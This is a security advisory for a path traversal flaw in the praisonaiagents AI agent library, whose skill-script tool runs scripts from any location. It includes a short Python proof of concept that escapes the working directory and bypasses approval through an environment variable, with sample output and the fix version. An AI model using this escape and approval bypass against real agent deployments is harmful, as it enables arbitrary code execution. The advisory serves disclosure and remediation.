GHSA-c44f-37qr-gw3f: Path Traversal

Published Oct 8, 2026
·
Updated

Summary SkillTools.runskillscript() accepts a scriptpath parameter and executes it via subprocess.run() without any path containment validation. While FileTools has validatepath() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @requireapproval decorator can be bypassed via YAML approve: for high-risk tools.

Details src/praisonai-agents/praisonaiagents/tools/skilltools.py (lines 69-119):

python def runskillscript(self, scriptpath: str, ...): scriptpath = os.path.expanduser(scriptpath) if not os.path.isabs(scriptpath): scriptpath = os.path.join(self.workingdirectory, scriptpath) scriptpath = os.path.abspath(scriptpath)

if not os.path.exists(scriptpath): return f"Error: Script not found at {scriptpath}"

# No path traversal check, no containment validation # Directly executes whatever is at that path: result = subprocess.run(cmd, ...)

By contrast, FileTools.validatepath() (src/praisonai-agents/praisonaiagents/tools/filetools.py, lines 42-78) properly validates that the resolved path stays within the working directory:

python def validatepath(self, filepath: str) -> str: # ... cwd = os.path.abspath(os.getcwd()) if os.path.commonpath([absolute, cwd]) != cwd: raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")

SkillTools has no equivalent check.

PoC

python import os, tempfile from praisonaiagents.tools.skilltools import SkillTools

Create a "safe" working directory (the jail) jail = tempfile.mkdtemp(prefix="skilljail")

Create a malicious script OUTSIDE the jail attackscript = os.path.join(tempfile.gettempdir(), "maliciousskill.sh") with open(attackscript, 'w') as f: f.write("#!/bin/bash\n") f.write("echo \"PROOFOFEXPLOIT: Script executed outside jail\"\n") f.write("echo \"USER: $(whoami)\"\n") f.write("echo \"HOSTNAME: $(hostname)\"\n") os.chmod(attackscript, 0o755)

Bypass approval (simulates Docker env or YAML approve:) os.environ["PRAISONAIAUTOAPPROVE"] = "true"

st = SkillTools() st.workingdirectory = jail # Pretend we're confined

Run script from OUTSIDE the jail — no path validation! result = st.runskillscript(attackscript) print(result) Output: PROOFOFEXPLOIT: Script executed outside jail USER: anushkavirgaonkar HOSTNAME: Anushkas-MacBook-Pro-2.local

Cleanup del os.environ["PRAISONAIAUTOAPPROVE"] os.unlink(attackscript) os.rmdir(jail)

Tested result: The script at /tmp/maliciousskill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.

Impact - Arbitrary script execution: Run any script on the filesystem from any location - Chaining with file write: Write a malicious script via writefile (YAML-approvable as a high-risk tool), then execute it via runskillscript - Root-level impact in Docker: All PraisonAI Docker containers run as root (no USER directive), so an escaped script runs with full root privileges

Affected Software

1 affected componentFixes available
pip/praisonaiagents<=1.6.77
1.6.78

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.6.78

Event History

Oct 8, 2026
Advisory Published
via GitHub·04:49 PM
Data Sourced
via GitHub·04:49 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What level of attacker access is required?

The CVSS vector indicates low privileges are required and no user interaction is needed. The issue is network-reachable according to the advisory’s attack vector.

2

Can the approval control prevent exploitation?

Not reliably for high-risk tools: the advisory states that the @require_approval decorator can be bypassed through YAML approve: handling. An LLM-directed call can therefore reach the script-execution functionality despite that control.

3

Are the existing FileTools path checks protective here?

No. FileTools has containment validation that checks resolved paths remain within the working directory, but SkillTools.run_skill_script() does not perform that validation before invoking subprocess.run().

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203